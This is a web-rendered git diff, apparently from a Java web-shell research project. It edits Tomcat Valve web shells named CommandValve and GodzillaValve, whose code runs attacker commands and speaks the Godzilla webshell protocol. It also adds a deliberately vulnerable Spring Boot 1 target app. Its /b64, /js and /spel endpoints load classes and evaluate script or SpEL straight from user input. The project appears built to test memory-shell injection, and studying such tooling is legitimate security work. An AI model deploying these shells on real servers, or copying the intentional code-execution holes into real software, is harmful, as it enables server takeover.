instance.equals(obj);
|
instance.equals(obj);
|
||||||
} else {
|
return;
|
||||||
this.getNext().invoke(request, response);
|
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception ignored) {
|
||||||
e.printStackTrace();
|
|
||||||
this.getNext().invoke(request, response);
|
|
||||||
}
|
}
|
||||||
|
this.getNext().invoke(request, response);
|
||||||
}
|
}
|
||||||
|
|
||||||
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
|
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
|
||||||
|
|||||||
+3
-4
@@ -52,11 +52,10 @@ public class CommandValve implements Valve {
|
|||||||
while ((length = inputStream.read(buf)) != -1) {
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
outputStream.write(buf, 0, length);
|
outputStream.write(buf, 0, length);
|
||||||
}
|
}
|
||||||
} else {
|
return;
|
||||||
this.getNext().invoke(request, response);
|
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception ignored) {
|
||||||
this.getNext().invoke(request, response);
|
|
||||||
}
|
}
|
||||||
|
this.getNext().invoke(request, response);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+3
-5
@@ -125,12 +125,10 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
|||||||
response.getWriter().write(md5.substring(16));
|
response.getWriter().write(md5.substring(16));
|
||||||
response.flushBuffer();
|
response.flushBuffer();
|
||||||
}
|
}
|
||||||
} else {
|
return;
|
||||||
this.getNext().invoke(request, response);
|
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception ignored) {
|
||||||
e.printStackTrace();
|
|
||||||
this.getNext().invoke(request, response);
|
|
||||||
}
|
}
|
||||||
|
this.getNext().invoke(request, response);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+106
File diff suppressed because one or more lines are too long
+125
File diff suppressed because one or more lines are too long
+112
File diff suppressed because one or more lines are too long
+116
File diff suppressed because one or more lines are too long
+2
-1
@@ -26,7 +26,8 @@ include 'vul:vul-webapp'
|
|||||||
include 'vul:vul-webapp-jakarta'
|
include 'vul:vul-webapp-jakarta'
|
||||||
include 'vul:vul-webapp-expression'
|
include 'vul:vul-webapp-expression'
|
||||||
include 'vul:vul-webapp-deserialize'
|
include 'vul:vul-webapp-deserialize'
|
||||||
|
include 'vul:vul-springboot1'
|
||||||
include 'vul:vul-springboot2'
|
include 'vul:vul-springboot2'
|
||||||
include 'vul:vul-springboot3'
|
include 'vul:vul-springboot3'
|
||||||
include 'vul:vul-springboot2-webflux'
|
include 'vul:vul-springboot2-webflux'
|
||||||
include 'vul:vul-springboot3-webflux'
|
include 'vul:vul-springboot3-webflux'
|
||||||
|
|||||||
@@ -2,4 +2,9 @@ idea {
|
|||||||
module {
|
module {
|
||||||
excludeDirs += file('src')
|
excludeDirs += file('src')
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
subprojects {
|
||||||
|
group = 'com.reajason.javaweb.vul'
|
||||||
|
version = ''
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
FROM openjdk:8
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY build/libs/vul-springboot1.jar /app/app.jar
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
plugins {
|
||||||
|
id 'java'
|
||||||
|
id 'war'
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
|
||||||
|
configurations {
|
||||||
|
providedRuntime
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-web:1.5.22.RELEASE'
|
||||||
|
providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat:1.5.22.RELEASE'
|
||||||
|
testImplementation 'org.springframework.boot:spring-boot-starter-test:1.5.22.RELEASE'
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.register('bootJar', Jar) {
|
||||||
|
archiveBaseName = project.name
|
||||||
|
archiveVersion = project.version
|
||||||
|
|
||||||
|
from sourceSets.main.output
|
||||||
|
from {
|
||||||
|
configurations.runtimeClasspath.collect { it.isDirectory() ? it : zipTree(it) }
|
||||||
|
}
|
||||||
|
manifest {
|
||||||
|
attributes 'Main-Class': 'com.reajason.javaweb.vul.springboot1.VulSpringboot1Application'
|
||||||
|
}
|
||||||
|
duplicatesStrategy = DuplicatesStrategy.EXCLUDE
|
||||||
|
}
|
||||||
+15
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot1;
|
||||||
|
|
||||||
|
import org.springframework.boot.builder.SpringApplicationBuilder;
|
||||||
|
import org.springframework.boot.web.support.SpringBootServletInitializer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class ServletInitializer extends SpringBootServletInitializer {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
|
||||||
|
return application.sources(VulSpringboot1Application.class);
|
||||||
|
}
|
||||||
|
}
|
||||||
+15
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot1;
|
||||||
|
|
||||||
|
import org.springframework.boot.SpringApplication;
|
||||||
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/26
|
||||||
|
*/
|
||||||
|
@SpringBootApplication
|
||||||
|
public class VulSpringboot1Application {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
SpringApplication.run(VulSpringboot1Application.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot1.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/b64")
|
||||||
|
public class Base64ClassLoaderController extends ClassLoader {
|
||||||
|
@PostMapping
|
||||||
|
public String base64ClassLoader(String data) throws Exception {
|
||||||
|
byte[] bytes = Base64.getDecoder().decode(data);
|
||||||
|
Object o = defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||||
|
return o.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
+23
@@ -0,0 +1,23 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot1.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
public class IndexController {
|
||||||
|
|
||||||
|
@RequestMapping("/test")
|
||||||
|
public String test() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/")
|
||||||
|
public String index() {
|
||||||
|
return "hello";
|
||||||
|
}
|
||||||
|
}
|
||||||
+23
@@ -0,0 +1,23 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot1.controller;
|
||||||
|
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import javax.script.ScriptEngineManager;
|
||||||
|
import javax.script.ScriptException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/js")
|
||||||
|
public class ScriptEngineController {
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
public ResponseEntity<?> js(String data) throws ScriptException {
|
||||||
|
return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data)));
|
||||||
|
}
|
||||||
|
}
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot1.controller;
|
||||||
|
|
||||||
|
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||||
|
import org.springframework.expression.spel.support.StandardEvaluationContext;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/spel")
|
||||||
|
public class SpELController {
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
public ResponseEntity<?> spel(String data) {
|
||||||
|
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
server.port=8080
|
||||||
|
logging.level.root=INFO
|
||||||
|
logging.level.org.springframework=INFO
|
||||||
@@ -4,9 +4,6 @@ plugins {
|
|||||||
id 'java'
|
id 'java'
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.vul'
|
|
||||||
version = ''
|
|
||||||
|
|
||||||
java {
|
java {
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
|||||||
@@ -5,9 +5,6 @@ plugins {
|
|||||||
id 'war'
|
id 'war'
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.vul'
|
|
||||||
version = ''
|
|
||||||
|
|
||||||
java {
|
java {
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,9 +4,6 @@ plugins {
|
|||||||
id 'io.spring.dependency-management' version '1.1.7'
|
id 'io.spring.dependency-management' version '1.1.7'
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.vul'
|
|
||||||
version = ''
|
|
||||||
|
|
||||||
java {
|
java {
|
||||||
toolchain {
|
toolchain {
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
|||||||
@@ -5,9 +5,6 @@ plugins {
|
|||||||
id 'io.spring.dependency-management' version '1.1.7'
|
id 'io.spring.dependency-management' version '1.1.7'
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.vul'
|
|
||||||
version = ''
|
|
||||||
|
|
||||||
java {
|
java {
|
||||||
toolchain {
|
toolchain {
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
|||||||
@@ -2,9 +2,6 @@ plugins {
|
|||||||
id 'war'
|
id 'war'
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.vul'
|
|
||||||
version = ''
|
|
||||||
|
|
||||||
java {
|
java {
|
||||||
toolchain {
|
toolchain {
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user